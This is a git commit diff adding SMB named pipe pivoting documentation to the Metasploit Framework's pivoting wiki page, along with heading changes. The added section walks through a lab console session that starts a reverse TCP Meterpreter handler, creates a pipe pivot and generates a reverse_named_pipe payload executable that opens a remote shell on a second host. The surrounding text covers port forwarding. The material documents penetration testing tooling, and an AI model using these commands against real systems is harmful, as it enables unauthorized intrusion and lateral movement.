Land #16654, Add named pipe pivot documentation

Merge branch 'land-16654' into upstream-master

Author: bwatters-r7

docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md

@@ -1,4 +1,5 @@
-# Overview of Pivoting And Its Benefits
+## Overview
+
 Whilst in test environments one is often looking at flat networks that only have one subnet and one network environment, the reality is that when it comes to pentests that are attempting to compromise an entire company, you will often have to deal with multiple networks, often with switches or firewalls in-between that are intended to keep these networks separate from one another.
 
 In order for pivoting to work, you must have compromised a host that is connected to two or more networks. This usually means that the host has two or more network adapters, whether that be physical network adapters, virtual network adapters, or a combination of both.
@@ -7,11 +8,14 @@ Once you have compromised a host that has multiple network adapters you can then
 
 Now that we understand some of the background, lets see this in action a bit more by setting up a sample environment and walking through some of Metasploit's pivoting features.
 
-# A Quick Note Before Continuing
+## Supported Session Types
+
 Pivoting functionality is provided by all Meterpreter and SSH sessions that occur over TCP channels. Whilst Meterpreter is mentioned below, keep in mind that this would also work with an SSH session as well. We have just resorted to using Meterpreter for this example for demonstration purposes.
 
-# Testing Pivoting
-## Target Environment Setup
+## Testing Pivoting
+
+### Target Environment Setup
+
 - Kali Machine
 	- Internal: None
 	- External: 172.19.182.171
@@ -153,7 +157,7 @@ IPv4 Active Routing Table
 msf6 post(multi/manage/autoroute) >
 ```
 
-# Using the Pivot
+## Using the Pivot
 At this point we can now use the pivot with any Metasploit modules as shown below:
 
 ```
@@ -210,11 +214,80 @@ msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce)
 [*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be a vulnerable version!
 msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
 ```
-# Pivoting External Tools
-## portfwd
+
+## SMB Named Pipe Pivoting in Meterpreter
+
+The Windows Meterpreter payload supports lateral movement in a network through SMB Named Pipe Pivoting. No other Meterpreters/session types support this functionality.
+
+First open a Windows Meterpreter session to the pivot machine:
+
+```
+msf6 > use payload/windows/x64/meterpreter/reverse_tcp
+smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
+lhost => 172.19.182.171
+msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
+lport => 4578
+msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
+[*] Payload Handler Started as Job 0
+
+[*] Started reverse TCP handler on 172.19.182.171:4578 
+msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
+[*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500
+```
+
+Create named pipe pivot listener on the pivot machine, setting `-l` to the pivot's bind address:
+
+```
+msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
+[*] Starting interaction with 1...
+
+meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
+[+] Successfully created pipe pivot.
+meterpreter > background
+[*] Backgrounding session 1...
+```
+
+Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine.  Note there is no need to start a handler for the named pipe payload.
+
+```
+msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
+
+Module options (payload/windows/x64/meterpreter/reverse_named_pipe):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
+   PIPEHOST  .                yes       Host of the pipe to connect to
+   PIPENAME  msf-pipe         yes       Name of the pipe to listen on
+
+msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
+pipehost => 169.254.16.221
+msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
+[*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe...
+```
+
+After running the payload on the final target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
+```
+msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
+
+msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
+
+Active sessions
+===============
+
+  Id  Name  Type                     Information                                Connection
+  --  ----  ----                     -----------                                ----------
+  1         meterpreter x64/windows  WIN11\msfuser @ WIN11          172.19.182.171:4578 -> 172.19.185.34:49674 (172.19.185.34)
+  2         meterpreter x64/windows  WIN2019\msfuser @ WIN2019      Pivot via [172.19.182.171:4578 -> 172.19.185.34:49674]
+                                                                                 (169.254.204.110)
+
+```
+## Pivoting External Tools
+
+### portfwd
 *Note: This method is discouraged as you can only set up a mapping between a single port and another target host and port, so using the socks module below is encouraged where possible. Additionally this method has been depreciated for some time now.*
 
-### Local Port Forwarding
+#### Local Port Forwarding
 To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
 
 ```
@@ -262,7 +335,7 @@ Connecting to 127.0.0.1:443... failed: Connection refused.
 
 Note that you may need to edit your `/etc/hosts` file to map IP addresses to given host names to allow things like redirects to redirect to the right hostname or IP address when using this method of pivoting.
 
-### Listing Port Forwards and Removing Entries
+#### Listing Port Forwards and Removing Entries
 Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
 
 ```
@@ -275,7 +348,7 @@ No port forwards are currently active.
 meterpreter >
 ```
 
-### Remote Port Forwarding
+#### Remote Port Forwarding
 This scenario is a bit different than above. Whereas previously we were instructing the session to forward traffic from our host running Metasploit, through the session, and to a second target host, with reverse port forwarding the scenario is a bit different. In this case we are instructing the session to forward traffic from other hosts through the session, and to our host running Metasploit. This is useful for allowing other applications running within a target network to interact with local applications on the machine running Metasploit.
 
 To set up a reverse port forward, use `portfwd add -R` within a supported session and then specify the `-l`, `-L` and `-p` options. The `-l` option specifies the port to forward the traffic to, the `-L` option specifies the IP address to forward the traffic to, and the `-p` option specifies the port to listen on for traffic on the machine that we have a session on (whose session console we are currently interacting with).